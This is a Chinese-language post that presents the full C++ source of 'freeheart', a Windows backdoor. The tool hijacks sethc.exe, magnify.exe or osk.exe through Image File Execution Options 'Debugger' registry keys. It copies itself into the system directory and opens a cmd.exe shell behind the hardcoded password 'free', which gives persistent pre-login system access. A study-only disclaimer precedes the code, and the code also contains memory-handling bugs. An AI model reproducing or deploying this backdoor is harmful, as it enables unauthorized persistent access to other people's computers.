C++映像劫持后门实例分析

// freeheart.cpp : Defines the entry point for the console application.
//学习交流使用，违法使用后果自负。
// by:cnblogs.com/blogg time 2013.5.24
// argv 0 = freeheart.exe
// argv 1 = -i 
// argv 2 = name.exe
// argv 3 = 1 2 3
// 此程序使用的映像劫持技术，
// 在注册表当中建立一个程序名的项目,在里面使用debugger,然后在里面指向自己的程序。
//[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]
//
#include "stdafx.h"
#include "windows.h"
#include "atlbase.h"
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
void anzhuang(char *Path,char *filename);
void xiezai(char *path,char *hName);
void CopyZiji(char *CopyPath);
char *password = "free";   //真密码缓冲区
char *shuruPwd = "";    //输入的密码缓冲区
int errorbuff = 0;
char *PathBuff = "";  
char *FileName = "";
char *chsname = "sethc.exe"; //SHIFT粘贴键程序的名称
char *fangdajing = "magnify.exe"; //
char *pingmujianpan = "osk.exe"; //
LPTSTR sysbuff;   //得到系统路径的缓冲区
TCHAR tchBuffer2[1024];  //申请一个字符变量数组
sysbuff = tchBuffer2; //把系统的路径放到这个变量数组里
 if(GetSystemDirectory(sysbuff, MAX_PATH)) //得到系统路径
 {
  sysbuff = strcat(sysbuff,"\\"); //strcat 剪切在一起,把\\放在系统路径的后面，然后放入系统缓冲区当中。 
 }
 if (argv[1] != NULL)
 {
  //安装命令判断
  if (strcmp(argv[1],"-i") == 0)
  {
   if (argv[2] != NULL)
   {
    FileName=argv[2];
   }
   else
   {
    cout<<"请输入文件名!";
    return 0;
   }
   if(argv[3] != NULL)
   {
    if(strcmp(argv[3],"1") == 0)
    {
     anzhuang(FileName,chsname);
     PathBuff = strcat(sysbuff,FileName);
     CopyZiji(PathBuff); 
     cout<<"创建完成! : "<<PathBuff<<endl;
     return 0;
    }
     if(strcmp(argv[3],"2") == 0)
     {
     anzhuang(FileName,fangdajing);
     PathBuff = strcat(sysbuff,FileName);
     CopyZiji(PathBuff); //调用函数
     cout<<"创建完成! : "<<PathBuff<<endl;
     return 0;
     }
      if(strcmp(argv[3],"3") == 0)
      {
      anzhuang(FileName,pingmujianpan);
      PathBuff = strcat(sysbuff,FileName);
      CopyZiji(PathBuff); //调用函数
      cout<<"创建完成! : "<<PathBuff<<endl;
      return 0;
      }
   }
       else
       {
       cout<<"请输入参数!"<<endl;
       }
   return 0;
  }
//卸载
  if (strcmp(argv[1],"-u") == 0)
  {
   if(argv[2] != NULL)
   {
    if(strcmp(argv[2],"1") == 0)
    {
     xiezai(sysbuff,chsname);
     cout<<"删除文件成功!"<<endl;
     return 0;
    }
     if(strcmp(argv[2],"2") == 0)
     {
     xiezai(sysbuff,fangdajing);
     cout<<"删除文件成功!"<<endl;
     return 0;
     }
      if(strcmp(argv[2],"3") == 0)
      {
      xiezai(sysbuff,pingmujianpan);
      cout<<"删除文件成功!"<<endl;
      return 0;
      }
   }
       else
       {
       cout<<"请输入参数!"<<endl;
       }
   return 0;
  }
      //为什么会进入这里 因为debugger a.exe 其实是两个参数，因为if (argv[1] != NULL) 也就是第二个参数不等于空的话执行下面的语句。
      while(errorbuff<3) //循环三次，错误。
       {
       cout<<"password:";
       cin>>shuruPwd;
        if (strcmp(shuruPwd,password) == 0)
        {
        system("cmd.exe");
        break;
        }
         else
         {
         cout<<"密码错误!"<<endl;
         }
         errorbuff++; //自加一次 
       }
       return 0;
 }
system("color a");
cout<<"-----------------------------------------------------"<<endl;
cout<<"欢迎光临自由的心,祝您好运!"<<endl;
cout<<"1: sethc.exe  Shift后门\n";
cout<<"2: magnify.exe 放大镜后门\n";
cout<<"3: osk.exe  屏幕键盘后门\n";
cout<<"-----------------------------------------------------"<<endl;
cout<<"安装: freeheart.exe -i xx.exe 1"<<endl;
cout<<"卸载: freeheart.exe -u 1"<<endl;
cout<<"连接密码:free"<<endl;
cout<<"-----------------------------------------------------"<<endl;
return 0;
}
//安装函数
void anzhuang(char *Path,char *filename)
{
 HKEY hSoftKey = NULL;
 HKEY hCompanyKey = NULL;
 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"), 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)
 {
  if (RegCreateKeyEx(hSoftKey, _T(filename), 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_WRITE|KEY_READ, NULL,&hCompanyKey,NULL) == ERROR_SUCCESS)
  {
   LPBYTE Value=(LPBYTE)Path; 
   long ret1=::RegSetValueEx(hCompanyKey,"Debugger",0,REG_SZ,(BYTE*)Value,50); 
   RegCloseKey(hCompanyKey);
  }
  RegCloseKey(hSoftKey);
 }
}
//卸载函数
void xiezai(char *path,char *hName) //hName 传递进来的程序名
{
 HKEY hSoftKey = NULL;
 LPCTSTR hMainKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"; 
 if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, hMainKey, 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)
 {
 DWORD len = 256;
 DWORD type = REG_SZ;
 LPBYTE last = new BYTE[256];
 LPCTSTR hname = (LPCTSTR)hName; 
 char *HHname;
 HKEY hKey;    //在注册表当中创建一个magnify名的项，在里面当中加入debugger,里面跟上自己的程序名的值。
 char* DelCom;
 HHname=strcat((char *)hMainKey,"\\"); //hmainkey 注册表的路径
 HHname=strcat((char *)hMainKey,(char *)hname); //hname 程序名
  if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)HHname,0,KEY_READ,&hKey)==ERROR_SUCCESS && RegQueryValueEx(hKey,"Debugger",0,&type,last,&len)==ERROR_SUCCESS)
  {
   DelCom=strcat(path,reinterpret_cast <char*>(last));
   DeleteFile(DelCom); //删除文件
   RegDeleteKey(hSoftKey,hname); //删除注册表
  }
  RegCloseKey(hSoftKey); //关闭句柄
  RegCloseKey(hKey); //关闭句柄
 }
}
void CopyZiji(char *CopyPath) //将自身生成exe文件复制到指定的路径下
{
 char PathBuff[MAX_PATH]; //申请一个字符变量数组,大小是系统最大的长度。
 GetModuleFileName(NULL,PathBuff,MAX_PATH); //第一个参数为NULL，就表示获取当前程序的路径,第二个参数就是存放到缓冲区。
 CopyFile(PathBuff,CopyPath,true); //CurrentPath 是自身exe,把自身复制到目标路径当中
}